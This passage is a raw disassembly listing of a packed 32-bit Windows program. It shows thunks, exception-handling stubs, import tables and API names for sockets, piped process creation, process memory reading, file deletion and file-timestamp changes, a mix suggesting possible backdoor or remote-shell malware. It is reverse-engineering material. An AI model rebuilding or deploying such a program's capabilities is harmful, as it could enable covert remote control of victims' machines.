======================================= ; Attributes: thunk sub_411778 proc near ; CODE XREF: sub_407237+19p ; sub_4072FC+16Fp jmp dword_41215C sub_411778 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41177E proc near ; CODE XREF: sub_40765C+E0p ; sub_407A76+165p ... jmp dword_412158 sub_41177E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411784 proc near ; CODE XREF: sub_4079AC+54p jmp dword_412154 sub_411784 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41178A proc near ; CODE XREF: sub_407A76+E87p ; .packed:0040B657p ... jmp dword_412150 sub_41178A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411790 proc near ; CODE XREF: sub_4095E7+38p ; sub_409659+38p ... jmp dword_41214C sub_411790 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411796 proc near ; CODE XREF: sub_40A7C4+31p ; sub_40A7C4+54p jmp dword_412148 sub_411796 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41179C proc near ; CODE XREF: sub_40A82E+2Fp ; sub_40A82E+58p jmp dword_412144 sub_41179C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117A2 proc near ; CODE XREF: sub_40A82E+17p jmp dword_412140 sub_4117A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117A8 proc near ; CODE XREF: sub_40C135+67p ; sub_40CEBE+301p ... jmp dword_412138 sub_4117A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117AE proc near ; CODE XREF: sub_40CEBE+3AFp ; sub_40CEBE+425p jmp dword_412134 sub_4117AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117B4 proc near ; CODE XREF: sub_40CEBE+1E5p ; sub_40CEBE+23Cp jmp dword_412130 sub_4117B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117BA proc near ; CODE XREF: sub_40CEBE+1AAp jmp dword_41212C sub_4117BA endp ; --------------------------------------------------------------------------- loc_4117C0: ; CODE XREF: .packed:00411985j jmp dword_412128 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4117C8 proc near ; CODE XREF: sub_4101E6+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_4117C8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117E8 proc near ; CODE XREF: sub_403767+2Fp ; sub_403767+151p ... jmp dword_41220C sub_4117E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4117F0 proc near ; CODE XREF: sub_4101E6+6Dp ; sub_4101E6+DAp ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_41185F retn 4 sub_4117F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4117FE proc near ; CODE XREF: sub_4101E6+8Cp ; sub_4101E6+15Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_411850 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_419170 push eax call dword ptr [ecx] test eax, eax jl short loc_411850 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_411850 lea eax, [ebp+var_4] push eax push 0 call dword_4121DC test eax, eax jz short loc_411850 and [ebp+var_4], 0 loc_411850: ; CODE XREF: sub_4117FE+Dj ; sub_4117FE+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_41185F leave retn 0Ch sub_4117FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41185F proc near ; CODE XREF: sub_4117F0+6p ; sub_4117FE+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_411883 lea eax, [ebp+var_10] push offset dword_4123C8 push eax call sub_411952 ; _CxxThrowException sub_41185F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_411883 proc near ; CODE XREF: sub_41185F+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4122C4 test eax, eax mov [esi+8], eax jz short loc_4118AF cmp [esp+4+arg_8], 0 jz short loc_4118AF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_4118AF: ; CODE XREF: sub_411883+1Dj ; sub_411883+24j mov eax, esi pop esi retn 0Ch sub_411883 endp ; =============== S U B R O U T I N E ======================================= sub_4118B5 proc near ; DATA XREF: .packed:off_4122C4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4118FE test [esp+4+arg_0], 1 jz short loc_4118CB push esi call sub_41176C ; ??3@YAXPAX@Z pop ecx loc_4118CB: ; CODE XREF: sub_4118B5+Dj mov eax, esi pop esi retn 4 sub_4118B5 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4122C4 jz short loc_4118F8 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_4118F8: ; CODE XREF: .packed:004118F0j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4118FE proc near ; CODE XREF: sub_4118B5+3p ; DATA XREF: .packed:004123CCo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4122C4 test eax, eax jz short loc_411914 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_411914: ; CODE XREF: sub_4118FE+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_411922 push esi call dword_4120B4 ; LocalFree loc_411922: ; CODE XREF: sub_4118FE+1Bj pop esi retn sub_4118FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411924 proc near ; CODE XREF: sub_4011C4+C1p ; sub_4050D1+90p ... jmp dword_4121D4 sub_411924 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41192A proc near ; CODE XREF: sub_401B81+C9p ; sub_402C11+101p ... jmp dword_412118 sub_41192A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411930 proc near ; CODE XREF: sub_402230+B1p ; sub_402230+1ABp ... jmp dword_41211C sub_411930 endp ; =============== S U B R O U T I N E ======================================= sub_411936 proc near ; DATA XREF: .packed:off_4122CCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_411958 ; ??1type_info@@UAE@XZ test [esp+4+arg_0], 1 jz short loc_41194C push esi call sub_41176C ; ??3@YAXPAX@Z pop ecx loc_41194C: ; CODE XREF: sub_411936+Dj mov eax, esi pop esi retn 4 sub_411936 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411952 proc near ; CODE XREF: sub_41185F+1Fp jmp dword_412120 sub_411952 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411958 proc near ; CODE XREF: sub_411936+3p jmp dword_412124 sub_411958 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-14h] jmp loc_41098C ; --------------------------------------------------------------------------- loc_411968: ; DATA XREF: .packed:0041238Co lea ecx, [ebp-1Ch] jmp loc_41098C ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp loc_41098C ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_41098C ; --------------------------------------------------------------------------- loc_411980: ; DATA XREF: sub_4101E6o mov eax, offset dword_412360 jmp loc_4117C0 ; --------------------------------------------------------------------------- align 4 dd 19Dh dup(0) dword_412000 dd 12D72h ; DATA XREF: sub_401000+55r ; sub_404ACF+116r ... dword_412004 dd 12D60h ; DATA XREF: sub_401000+B2r ; sub_404EDC+91r dword_412008 dd 12D82h ; DATA XREF: sub_401000+22r dword_41200C dd 12D92h ; DATA XREF: sub_404ACF+14Dr ; sub_405FF3+20Ar ... dword_412010 dd 12DA6h ; DATA XREF: sub_404EDC+83r dword_412014 dd 12DB8h ; DATA XREF: sub_404EDC+24r dword_412018 dd 12DCAh ; DATA XREF: sub_405FF3+A4r dword_41201C dd 12DDAh ; DATA XREF: sub_40B31E+59r dword_412020 dd 12DF0h ; DATA XREF: sub_40B31E+1Er dword_412024 dd 12E02h ; DATA XREF: sub_40B31E+18r dword_412028 dd 12D52h ; DATA XREF: sub_401000+EBr ; sub_404ACF+226r ... align 10h dword_412030 dd 77E65F4Ch ; DATA XREF: sub_405FF3+B2r dword_412034 dd 77E7C657h ; DATA XREF: sub_405FF3+D6r ; sub_409277+1D3r ... dword_412038 dd 77E7513Ch ; DATA XREF: sub_405F9A+8r dword_41203C dd 77E705C5h ; DATA XREF: sub_404FA8+3Br dword_412040 dd 77E74672h ; DATA XREF: sub_404EDC+6Br ; sub_4101E6+4C7r dword_412044 dd 77E705B0h ; DATA XREF: sub_404E31+18r dword_412048 dd 77E7A837h ; DATA XREF: sub_404E31+30r ; sub_404FEB+80r ... dword_41204C dd 77E73CE2h ; DATA XREF: sub_404E31+67r dword_412050 dd 77E7011Ah ; DATA XREF: sub_404E31+9Dr dword_412054 dd 77E704FCh ; DATA XREF: sub_404D00+16r ; sub_404DAD+15r ... dword_412058 dd 77E77CCEh ; DATA XREF: sub_40311D+38r dword_41205C dd 77E805D8h ; DATA XREF: sub_402D7B+2r ; sub_4045B7+12r ... dword_412060 dd 77E7A5FDh ; DATA XREF: sub_402D7B+Fr ; sub_4045B7+1Fr ... dword_412064 dd 77E75CB5h ; DATA XREF: sub_40287C+190r ; sub_4052DF+E6r ... dword_412068 dd 77E6BD13h ; DATA XREF: sub_402230+CCr ; sub_4050D1+123r dword_41206C dd 77F5157Dh ; DATA XREF: sub_402230+DAr ; sub_407237+8Br ... dword_412070 dd 77E79D8Ch ; DATA XREF: sub_4018A7+20r ; sub_404FEB+BCr ... dword_412074 dd 77E6CBF9h ; DATA XREF: sub_401621+50r dword_412078 dd 77E7727Ah ; DATA XREF: sub_401621+64r dword_41207C dd 77E76C1Ah ; DATA XREF: sub_405FF3+2Fr dword_412080 dd 77E79CE3h ; DATA XREF: sub_401621+BAr dword_412084 dd 77E61BB8h ; DATA XREF: sub_401621+11Cr ; sub_4050D1+1FCr dword_412088 dd 77EB7624h ; DATA XREF: sub_401621+193r dword_41208C dd 77E7FF65h ; DATA XREF: sub_401621+1B3r dword_412090 dd 77E78B82h ; DATA XREF: sub_401621+210r dword_412094 dd 77E79F93h ; DATA XREF: sub_4011C4+A5r ; sub_40287C+151r ... dword_412098 dd 77E7A099h ; DATA XREF: sub_4011C4+ACr ; sub_40287C+158r ... dword_41209C dd 77E706B7h ; DATA XREF: sub_4011C4+E5r ; sub_404639+110r ... dword_4120A0 dd 77E61A54h ; DATA XREF: sub_4011C4+12Dr ; sub_40495C+7Cr dword_4120A4 dd 77E61BE6h ; DATA XREF: sub_4011C4+1F0r ; sub_4011C4+299r ... dword_4120A8 dd 77E616B4h ; DATA XREF: sub_4011C4+22Dr ; sub_404A33+2Er dword_4120AC dd 77E77963h ; DATA XREF: sub_4011C4+255r ; sub_4011C4+274r ... dword_4120B0 dd 77E70396h ; DATA XREF: sub_40110A+15r ; sub_4050D1:loc_405263r dword_4120B4 dd 77E79A45h ; DATA XREF: sub_4118FE+1Er dword_4120B8 dd 77E73628h ; DATA XREF: sub_40110A+24r ; sub_401985+30r ... dword_4120BC dd 77E7AC37h ; DATA XREF: sub_40756C+D0r dword_4120C0 dd 77E75090h ; DATA XREF: sub_409843+71r dword_4120C4 dd 77E74D76h ; DATA XREF: sub_409843+3Dr dword_4120C8 dd 77E77797h ; DATA XREF: sub_409843+2Cr dword_4120CC dd 0 ; DATA XREF: sub_4067B2+3Er ; sub_40682C+10Fr dword_4120D0 dd 12B66h ; DATA XREF: sub_4067B2+15r ; sub_40682C+6Cr ... dword_4120D4 dd 12B76h ; DATA XREF: sub_406A40:loc_406AA1r ; sub_406AB7:loc_406B18r ... dword_4120D8 dd 12B86h ; DATA XREF: sub_406A40+14r ; sub_406AB7+14r ... dword_4120DC dd 12BA2h ; DATA XREF: sub_406A40+Ar ; sub_406AB7+Ar ... dword_4120E0 dd 12BBCh ; DATA XREF: sub_406BBC+40r dword_4120E4 dd 12BCCh ; DATA XREF: sub_406F84+6Br ; sub_406F84:loc_40707Cr dword_4120E8 dd 12BDEh ; DATA XREF: sub_4071D2+26r dword_4120EC dd 12BFAh ; DATA XREF: sub_407200+4r dword_4120F0 dd 1297Eh ; DATA XREF: sub_4011C4:loc_40124Ar ; sub_404A33+14r dword_4120F4 dd 12C12h ; DATA XREF: sub_40720B+4r dword_4120F8 dd 129EAh ; DATA XREF: sub_401621+A2r dword_4120FC dd 12CC0h ; DATA XREF: sub_4111E8+31r dword_412100 dd 12CB0h ; DATA XREF: sub_4111E8+96r dword_412104 dd 12CA4h ; DATA XREF: sub_4101E6:loc_410489r ; sub_4101E6+320r ... dword_412108 dd 12C98h ; DATA XREF: sub_4101E6+58Dr dword_41210C dd 12C7Eh ; DATA XREF: sub_40FDB3+96r dword_412110 dd 12C72h ; DATA XREF: sub_409918+1E2r ; sub_4101E6+2C2r ... align 8 dword_412118 dd 77C1C055h ; DATA XREF: sub_41192Ar dword_41211C dd 77C423F5h ; DATA XREF: sub_411930r dword_412120 dd 77C219F5h ; DATA XREF: sub_411952r dword_412124 dd 77C20C5Bh ; DATA XREF: sub_411958r dword_412128 dd 77C21AD8h ; DATA XREF: .packed:loc_4117C0r dword_41212C dd 77C1CF9Eh ; DATA XREF: sub_4117BAr dword_412130 dd 77C43790h ; DATA XREF: sub_4117B4r dword_412134 dd 77C43CB2h ; DATA XREF: sub_4117AEr dword_412138 dd 77C43DBCh ; DATA XREF: sub_4117A8r dword_41213C dd 77C41FA0h ; DATA XREF: sub_4114B8r dword_412140 dd 77C43150h ; DATA XREF: sub_4117A2r dword_412144 dd 77C33FDEh ; DATA XREF: sub_41179Cr dword_412148 dd 77C33FC1h ; DATA XREF: sub_411796r dword_41214C dd 77C3CE0Ch ; DATA XREF: sub_411790r dword_412150 dd 77C42D60h ; DATA XREF: sub_41178Ar dword_412154 dd 77C1C6F3h ; DATA XREF: sub_411784r dword_412158 dd 77C435C0h ; DATA XREF: sub_41177Er dword_41215C dd 77C3E5D9h ; DATA XREF: sub_411778r dword_412160 dd 77C28925h ; DATA XREF: sub_411772r dword_412164 dd 77C28933h ; DATA XREF: sub_41176Cr dword_412168 dd 77C3CCE7h ; DATA XREF: sub_411766r dword_41216C dd 77C37FEDh ; DATA XREF: sub_411760r dword_412170 dd 77C33EB0h ; DATA XREF: sub_41175Ar dword_412174 dd 77C4B940h ; DATA XREF: sub_4116A0r dword_412178 dd 77C4B120h ; DATA XREF: sub_411678r dword_41217C dd 77C37ADCh ; DATA XREF: sub_41157Cr dword_412180 dd 77C2AC58h ; DATA XREF: sub_411576r dword_412184 dd 77C438C0h ; DATA XREF: sub_411570r dword_412188 dd 77C3C93Ch ; DATA XREF: sub_41152Er dword_41218C dd 77C43AB0h ; DATA XREF: sub_411528r dword_412190 dd 77C3E8C0h ; DATA XREF: sub_411522r dword_412194 dd 77C1BE00h ; DATA XREF: sub_41151Cr dword_412198 dd 77C3E140h ; DATA XREF: sub_411516r dword_41219C dd 77C3DFB5h ; DATA XREF: sub_411510r dword_4121A0 dd 77C3BF06h ; DATA XREF: sub_411506r dword_4121A4 dd 77C3D8F6h ; DATA XREF: sub_411500r dword_4121A8 dd 77C3E4B9h ; DATA XREF: sub_4114FAr dword_4121AC dd 77C3E303h ; DATA XREF: sub_4114F4r dword_4121B0 dd 77C41FB0h ; DATA XREF: sub_4114EEr dword_4121B4 dd 77C43490h ; DATA XREF: sub_4114E8r dword_4121B8 dd 77C46553h ; DATA XREF: sub_4114E2r dword_4121BC dd 77C3C813h ; DATA XREF: sub_4114DCr dword_4121C0 dd 77C43900h ; DATA XREF: sub_4114D6r dword_4121C4 dd 77C42E10h ; DATA XREF: sub_4114D0r dword_4121C8 dd 77C2AA6Bh ; DATA XREF: sub_4114CAr dword_4121CC dd 77C2AC46h ; DATA XREF: sub_4114C4r dword_4121D0 dd 77C43710h ; DATA XREF: sub_4114BEr dword_4121D4 dd 77C421A2h ; DATA XREF: sub_411924r dd 0 dword_4121DC dd 800000C8h ; DATA XREF: sub_4117FE+44r dd 0 dword_4121E4 dd 12E28h ; DATA XREF: sub_4018D5+28r ; sub_402230+50Dr ... dd 0 dword_4121EC dd 12CDEh ; DATA XREF: sub_404FEB+9Fr ; sub_40682C+50r ... dword_4121F0 dd 12CEAh ; DATA XREF: sub_407A76+D6r ; sub_410999+4Br dword_4121F4 dd 12CFCh ; DATA XREF: sub_407A76+CFr dword_4121F8 dd 12D12h ; DATA XREF: sub_409835+7r dword_4121FC dd 12D20h ; DATA XREF: sub_409843+5Ar dword_412200 dd 12D30h ; DATA XREF: sub_4101E6+3E9r align 8 dword_412208 dd 71AB3E5Dh ; DATA XREF: sub_403B44+8Br ; sub_403C04+B9r ... dword_41220C dd 71AB1B7Bh ; DATA XREF: sub_4117E8r dword_412210 dd 71AB8629h ; DATA XREF: sub_403D70+6r ; sub_40E707+110r ... dword_412214 dd 71AB1890h ; DATA XREF: sub_403767+12Dr ; sub_403A1B+81r ... dword_412218 dd 71AB3F8Dh ; DATA XREF: sub_403644+B8r ; sub_403EA9+5Dr ... dword_41221C dd 71AB3ECEh ; DATA XREF: sub_403644+C5r ; sub_40DE9A+AAr ... dword_412220 dd 71AB1AF4h ; DATA XREF: sub_403D9D+Er ; sub_407A76+FB7r ... dword_412224 dd 71ABF628h ; DATA XREF: sub_4034DE+1Er ; sub_40357F+1Er dword_412228 dd 71AB155Ah ; DATA XREF: sub_40344B+1Ar ; sub_40346D+Fr dword_41222C dd 71AB3C22h ; DATA XREF: sub_403366+7r ; sub_403644+83r ... dword_412230 dd 71AB401Ch ; DATA XREF: sub_402C11+4Fr ; sub_40544F+154r ... dword_412234 dd 71ABD755h ; DATA XREF: sub_402C11+86r ; sub_4072FC+1A4r dword_412238 dd 71AB1740h ; DATA XREF: sub_402C11:loc_402CD9r ; sub_403B44+96r ... dword_41223C dd 71AB868Dh ; DATA XREF: sub_403767+89r ; sub_403767+1A3r dword_412240 dd 71AB1A6Dh ; DATA XREF: sub_403D92+4r ; sub_407A76+FBEr ... dword_412244 dd 71AB350Dh ; DATA XREF: sub_402A12+38r ; sub_402A12+12Er ... dword_412248 dd 71AB1746h ; DATA XREF: sub_402A12+91r ; sub_402A12+168r ... dword_41224C dd 71AB2BBFh ; DATA XREF: sub_402A12+E8r ; sub_403EA9+B6r ... dword_412250 dd 71AB157Eh ; DATA XREF: sub_401B81+7Dr ; sub_40348C+1Er ... dword_412254 dd 71AB12F8h ; DATA XREF: sub_401B81+163r ; sub_403EA9+A1r ... dword_412258 dd 71AB5690h ; DATA XREF: sub_401985+CFr ; sub_403DB2+1Ar ... dword_41225C dd 71AB12A7h ; DATA XREF: sub_401985+FEr ; sub_401B81+16Ar dword_412260 dd 71AB1ED3h ; DATA XREF: sub_403EA9+59Fr ; sub_40DE9A+121r dword_412264 dd 71AB1836h ; DATA XREF: sub_4050D1+202r ; sub_4052DF+DFr ... dword_412268 dd 71AB1444h ; DATA XREF: sub_40DE9A+19Ar dword_41226C dd 71AB14DCh ; DATA XREF: sub_410C55+D8r dword_412270 dd 71AB32CAh ; DATA XREF: sub_410C55+6Br dword_412274 dd 71AB41DAh ; DATA XREF: sub_4111E8+1A6r dword_412278 dd 71AB5DE2h ; DATA XREF: sub_403644+D3r align 10h flt_412280 dd 1.0e-3 ; DATA XREF: sub_401985+18Er ; sub_401985+1B0r ... flt_412284 dd 9.765625e-4 ; DATA XREF: sub_40656A+1A6r dword_412288 dd 0FFFFFFFFh, 406C2Dh, 406C43h, 0 ; DATA XREF: sub_406BBC+5o dword_412298 dd 0FFFFFFFFh, 406D26h, 406D3Eh, 0 ; DATA XREF: sub_406CB2+5o dword_4122A8 dd 0FFFFFFFFh, 411474h, 41148Ah, 0 ; DATA XREF: sub_4111E8+5o dd offset loc_411440 dd offset loc_411456 dd offset dword_412300 off_4122C4 dd offset sub_4118B5 ; DATA XREF: sub_411883+12o ; .packed:004118EAo ... dd offset dword_412348 off_4122CC dd offset sub_411936 ; DATA XREF: .packed:off_419180o ; .packed:off_4191A0o off_4122D0 dd offset off_419180 ; DATA XREF: .packed:004122E8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4122D0 dword_4122EC dd 3 dup(0) ; DATA XREF: .packed:00412310o dd 1, 4122E8h dword_412300 dd 3 dup(0) ; DATA XREF: .packed:004122C0o dd offset off_419180 dd offset dword_4122EC+4 align 8 off_412318 dd offset off_4191A0 ; DATA XREF: .packed:00412330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_412318 dd 0 db 0 ; DATA XREF: .packed:00412358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 412330h dword_412348 dd 3 dup(0) ; DATA XREF: .packed:004122C8o dd offset off_4191A0 dd offset unk_412338 align 10h dword_412360 dd 19930520h, 4, 412380h, 5 dup(0) ; DATA XREF: .packed:loc_411980o dd 0FFFFFFFFh, 411960h, 0 dd offset loc_411968 dd 1, 411970h, 2, 411978h, 0 dd offset off_419180 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 4118D1h, 0 dword_4123C0 dd 1, 4123A0h ; DATA XREF: .packed:004123D4o dword_4123C8 dd 0 ; DATA XREF: sub_41185F+19o dd offset sub_4118FE dd 0 dd offset dword_4123C0 db 90h db 25h, 1, 0 dd 2 dup(0) dd 128C0h, 12118h, 12680h, 2 dup(0) dd 128D8h, 12208h, 124A8h, 2 dup(0) dd 12CD0h, 12030h, 12664h, 2 dup(0) dd 12D46h, 121ECh, 12478h, 2 dup(0) dd 12E1Ah, 12000h, 1265Ch, 2 dup(0) dd 12E38h, 121E4h, 12654h, 2 dup(0) dd 12E9Eh, 121DCh, 5 dup(0) dd 12D72h, 12D60h, 12D82h, 12D92h, 12DA6h, 12DB8h, 12DCAh dd 12DDAh, 12DF0h, 12E02h, 12D52h, 0 dd 12B26h, 12B16h, 12B04h, 12AECh, 12AE0h, 12AC8h, 12ABAh dd 12AACh, 12A9Eh, 12A88h, 12A72h, 12A62h, 12A50h, 12A42h dd 12A36h, 12A26h, 12A1Ah, 12A0Ch, 129FEh, 12B3Ah, 129D8h dd 129C6h, 129B6h, 129A0h, 12994h, 1296Ah, 12954h, 12946h dd 12932h, 1292Ah, 12916h, 12908h, 128F2h, 12E92h, 128E4h dd 12C2Ah, 12C3Ah, 12C4Ch, 12C5Ch, 12B50h, 12B66h, 12B76h dd 12B86h, 12BA2h, 12BBCh, 12BCCh, 12BDEh, 12BFAh, 1297Eh dd 12C12h, 129EAh, 12CC0h, 12CB0h, 12CA4h, 12C98h, 12C7Eh dd 12C72h, 0 dd 12E50h, 12E58h, 12E64h, 12E7Ah, 128ACh, 128A0h, 12896h dd 1288Ch, 12882h, 126F8h, 12878h, 12870h, 12868h, 1285Ah dd 12850h, 12846h, 1283Ch, 12832h, 12822h, 12812h, 12806h dd 127F4h, 127E0h, 127D8h, 127D0h, 127C8h, 127BEh, 127B4h dd 127A8h, 1279Eh, 12794h, 1278Ch, 12784h, 1277Ch, 12774h dd 1276Ah, 12760h, 12758h, 1274Eh, 12744h, 1273Ch, 12732h dd 12728h, 1271Eh, 12716h, 1270Ch, 12702h, 12E44h, 0 dd 800000C8h, 0 dd 12E28h, 0 dd 12CDEh, 12CEAh, 12CFCh, 12D12h, 12D20h, 12D30h, 0 dd 80000004h, 80000097h, 80000016h, 80000012h, 80000015h dd 80000002h, 80000013h, 80000005h, 8000000Ah, 80000017h dd 8000000Ch, 80000033h, 8000006Fh, 80000001h, 80000003h dd 80000070h, 80000009h, 80000034h, 80000006h, 8000000Bh dd 80000010h, 80000008h, 80000014h, 80000074h, 80000011h dd 128CCh, 80000039h, 80000073h, 8000000Dh, 0 db 0BAh ; º db 2, 73h, 74h aRcpy db 'rcpy',0 align 2 dw 2BEh aStrlen db 'strlen',0 align 4 db 91h ; ‘ db 2, 6Dh, 61h aLloc db 'lloc',0 align 2 dw 25Eh aFree db 'free',0 align 2 dw 297h aMemcpy db 'memcpy',0 align 4 db 0C1h ; Á db 2, 73h, 74h aRncpy db 'rncpy',0 dw 2B2h aSprintf db 'sprintf',0 db 43h ; C db 2, 63h, 6Ch db 6Fh ; o db 63h, 6Bh, 0 db 99h ; ™ db 2, 6Dh, 65h aMset db 'mset',0 align 2 dw 2B6h aStrcat db 'strcat',0 align 4 db 64h ; d db 2, 66h, 74h db 65h ; e db 2 dup(6Ch), 0 db 66h ; f db 2, 66h, 77h aRite db 'rite',0 align 2 dw 24Ch aFclose db 'fclose',0 align 4 db 57h ; W db 2, 66h, 6Fh db 70h ; p db 65h, 6Eh, 0 db 5Dh ; ] db 2, 66h, 72h db 65h ; e db 61h, 64h, 0 db 62h ; b db 2, 66h, 73h db 65h ; e db 65h, 6Bh, 0 db 3Dh ; = db 2, 61h, 74h db 6Fh ; o db 69h, 2 dup(0) db 0B5h ; µ db 2, 2 dup(73h) aCanf db 'canf',0 align 2 dw 2C5h aStrstr db 'strstr',0 align 4 db 0AEh ; ® db 1, 5Fh, 73h aNprintf db 'nprintf',0 db 0C0h ; À db 2, 73h, 74h aRncmp db 'rncmp',0 dw 2A7h aRealloc db 'realloc',0 db 49h ; I db 2, 65h, 78h db 69h ; i db 74h, 2 dup(0) db 0F1h ; ñ align 2 a_ftol db '_ftol',0 db 41h ; A db 2, 63h, 65h db 69h ; i db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- retf 5F00h ; --------------------------------------------------------------------------- aExcept_handler db 'except_handler3',0 align 4 aJ db '¦',0 a_beginthreadex db '_beginthreadex',0 align 2 dw 2DCh aVsprintf db 'vsprintf',0 align 2 dw 10h db 3Fh ; ? db 3Fh, 33h, 40h db 59h ; Y db 41h, 58h, 50h db 41h ; A db 58h, 40h, 5Ah db 0 align 2 dw 0Fh db 3Fh ; ? db 3Fh, 32h, 40h db 59h ; Y db 41h, 50h, 41h db 58h ; X db 49h, 40h, 5Ah db 0 align 2 dw 29Eh aPrintf db 'printf',0 align 4 db 0B8h ; ¸ db 2, 73h, 74h aRcmp db 'rcmp',0 align 2 dw 2D3h aTolower db 'tolower',0 db 96h ; – db 2, 6Dh, 65h aMcmp db 'mcmp',0 align 2 dw 1E1h a_vsnprintf db '_vsnprintf',0 align 4 db 9Bh ; › db 1, 5Fh, 72h db 6Fh ; o db 74h, 6Ch, 0 db 9Ch ; œ db 1, 5Fh, 72h db 6Fh ; o db 74h, 72h, 0 db 98h ; ˜ db 2, 6Dh, 65h aMmove db 'mmove',0 dw 2E6h aWcslen db 'wcslen',0 align 4 db 0E3h ; ã db 2, 77h, 63h aScpy db 'scpy',0 align 2 dw 2BFh aStrncat db 'strncat',0 db 93h ; “ db 2, 6Dh, 62h aStowcs db 'stowcs',0 align 4 aI db 'I',0 a__cxxframehand db '__CxxFrameHandler',0 aMsvcrt_dll db 'MSVCRT.dll',0 align 4 db '(',0 aWsaioctl db 'WSAIoctl',0 align 4 aWs2_32_dll_0 db 'WS2_32.dll',0 align 4 db '|',0 aDeletefilea db 'DeleteFileA',0 dw 30Eh aSetfileattribu db 'SetFileAttributesA',0 align 4 a__0 db '.',0 aClosehandle db 'CloseHandle',0 dw 351h aTerminateproce db 'TerminateProcess',0 align 2 dw 349h aSleep db 'Sleep',0 dw 2AEh aReadprocessmem db 'ReadProcessMemory',0 dw 27Ch aOpenprocess db 'OpenProcess',0 db 75h ; u db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 dw 177h aGetmodulehandl db 'GetModuleHandleA',0 align 2 dw 13Bh aGetcurrentproc db 'GetCurrentProcessId',0 db 0ABh ; « db 2, 52h, 65h aAdfile db 'adFile',0 align 10h db 52h ; R db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 287h aPeeknamedpipe db 'PeekNamedPipe',0 db '`',0 aCreateprocessa db 'CreateProcessA',0 align 4 aM db 'Œ',0 aDuplicatehandl db 'DuplicateHandle',0 dw 13Ah aGetcurrentpr_0 db 'GetCurrentProcess',0 a__1 db '_',0 aCreatepipe db 'CreatePipe',0 align 4 dd 655302D0h, 68637261h, 68746150h, 3970041h, 74697257h dd 6C694665h, 1690065h, 4C746547h, 45747361h, 726F7272h dd 3D0000h, 79706F43h, 656C6946h, 0AF0041h, 74697845h dd 636F7250h, 737365h, 65470198h, 6F725074h, 64644163h dd 73736572h, 2480000h, 64616F4Ch, 7262694Ch, 41797261h dd 26B0000h aMultibytetowid db 'MultiByteToWideChar',0 db 0B9h ; ¹ db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 314h aSetfiletime db 'SetFileTime',0 db 5Dh ; ] db 1, 47h, 65h aTfiletime db 'tFileTime',0 aM_0 db 'M',0 aCreatefilea db 'CreateFileA',0 db 0E9h ; é db 1, 47h, 